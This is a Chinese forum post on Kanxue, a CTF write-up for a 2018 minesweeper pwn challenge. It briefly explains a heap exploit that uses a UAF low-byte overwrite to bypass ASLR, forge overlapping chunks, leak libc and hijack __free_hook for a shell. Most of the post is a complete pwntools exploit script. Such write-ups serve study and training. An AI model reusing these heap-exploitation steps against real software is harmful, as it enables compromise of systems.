首页
社区
课程
招聘
[原创]看雪6月 京东 2018CTF 第十四题——覆盖小端最低字节绕过ASLR
发表于: 2018-7-14 09:09 2609

[原创]看雪6月 京东 2018CTF 第十四题——覆盖小端最低字节绕过ASLR

2018-7-14 09:09
2609

0x00 前言

这题最后做的我很坑,成功的莫名其妙,最后经过@poyoten师傅的指点,发现是libc搞混了。。。不过现在有点事,先写好回头在补。。。

0x01 解题

解题用了0day安全一书中的覆盖小端低字节实现绕过ALSR的操作,其中hero name字段本在堆上,UAF覆盖最低字节,让他指向一个unsorted bin,然后改写unsorted bin大小,顺便在相应大小后准备好prev_sizeprev_size==size的check。然后改写之后拿到一个overlap,覆盖棋盘数据的指针数组和内容本身(记录棋牌里的旁边的雷的数量,是否有雷,是否被踩过或者扫过)。这个时候,申请一个chunk,使得棋盘数据变成libc unsorted bin的leak,然后显示出来。但是只能显示一半,所以再通过覆写指针数组第一个指针的最低字节,使得它加上1,可以leak另一半。leak完之后就简单了,通过hero_name那个字段写__free_hook,然后留言/bin/sh\x00,getshell。

 

exp如下,详细解题过程到时候再补:

from pwn import *

g_local=True
context.log_level='debug'
if g_local:
    sh =process('./minesweep')#, env={'LD_PRELOAD':'./libc.so.6'})
    #gdb.attach(sh)
    UNSORTED_BIN_OFF = 0x3c4b78
    e = ELF('./libc-2.23.so')
    FREE_HOOK_OFF = e.symbols["__free_hook"]
    SYSTEM_OFF = e.symbols["system"]
else:
    sh = remote("139.199.99.130", 8686)
    #sh = remote("192.168.106.150", 9999)
    e=ELF('./libc.so.6.given')
    UNSORTED_BIN_OFF = 0x3c27b8
    FREE_HOOK_OFF = e.symbols["__free_hook"] + 0x1000
    SYSTEM_OFF = e.symbols["system"] + 0x1000

LEAK_OFF = 0x5a
LEAK_INTEVAL = 3

def send_num(num):
    sh.send(str(num) + "\x00\n")

def send_str(s):
    sh.send(s + "\x00\n")

def enter_back_game():
    send_num(1)
    ret = sh.recvuntil("*  *  *  *  *  *  *  *  \n----------------------\n")
    send_str("back")
    sh.recvuntil("$ ")
    return ret

def enter_out_game():
    send_num(1)
    sh.recvuntil("*  *  *  *  *  *  *  *  \n----------------------\n")
    send_str("out")
    sh.recvuntil("$ ")

def play_game_win(x,y,z,payload):
    send_num(1)
    sh.recvuntil("*  *  *  *  *  *  *  *  \n----------------------\n")

    send_str("explore")
    sh.recvuntil("input x,y,z\n")
    send_str(str(x) + "," + str(y) + "," + str(z))
    sh.recvuntil("leave your name,my hero\n")
    sh.send(payload + "\n")
    send_str("back")
    sh.recvuntil("$ ")


def feedback_bug(length, msg):
    send_num(2)
    sh.recvuntil("input the length of your feed back:")
    send_num(length)
    sh.send(msg)
    sh.recvuntil("$ ")

sh.recvuntil("$ ")
enter_out_game()
fake_struc1 = p64(0)
fake_struc1 += p64(1)
fake_struc1 += p64(0)
fake_struc1 += p64(1)
fake_struc1 += p64(0)
fake_struc1 += "\x98\n"
# heap arbitrary write, to change unsorted bin size

feedback_bug(0x30, fake_struc1)
feedback_bug(0x100, "A" * 0xff + "\n")
feedback_bug(0x100, p64(0x200) + "\n") # prev_size == size
feedback_bug(0x90, "A\n")
#prepare prev_size, put 0xa1 tp unsorted bin

play_game_win(1,1,3,p16((0x200) | 1))
feedback_bug(0xe0, "A" + "\n")
#change original * data to libc leak

fst_leak = enter_back_game()

feedback_bug(0xe0, "A" * 0xa0 + "\x91\n")
#change original 0x90 -> 0x91 to leak second half
snd_leak = enter_back_game()

print fst_leak + snd_leak

libc_addr = ord(fst_leak[LEAK_OFF])
libc_addr += ord(snd_leak[LEAK_OFF]) << 8
libc_addr += ord(fst_leak[LEAK_OFF + LEAK_INTEVAL]) << 16
libc_addr += ord(snd_leak[LEAK_OFF + LEAK_INTEVAL]) << 24
libc_addr += ord(fst_leak[LEAK_OFF + LEAK_INTEVAL * 2]) << 32
libc_addr += ord(snd_leak[LEAK_OFF + LEAK_INTEVAL * 2]) << 40
libc_addr -= UNSORTED_BIN_OFF
print hex(libc_addr)
print hex(e.symbols["__free_hook"])
print hex(e.symbols["system"])
fake_struc1 = p64(0)
fake_struc1 += p64(1)
fake_struc1 += p64(0)
fake_struc1 += p64(1)
fake_struc1 += p64(0)
fake_struc1 += p64(libc_addr + FREE_HOOK_OFF)


feedback_bug(0x31, fake_struc1 + "\n")
feedback_bug(0x90, "A\n")
sh.interactive()
play_game_win(1,1,3, p64(libc_addr + SYSTEM_OFF))


send_num(2)
sh.recvuntil("input the length of your feed back:")
send_num(0x30)
sh.send("/bin/sh\x00\n")
sh.interactive()

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//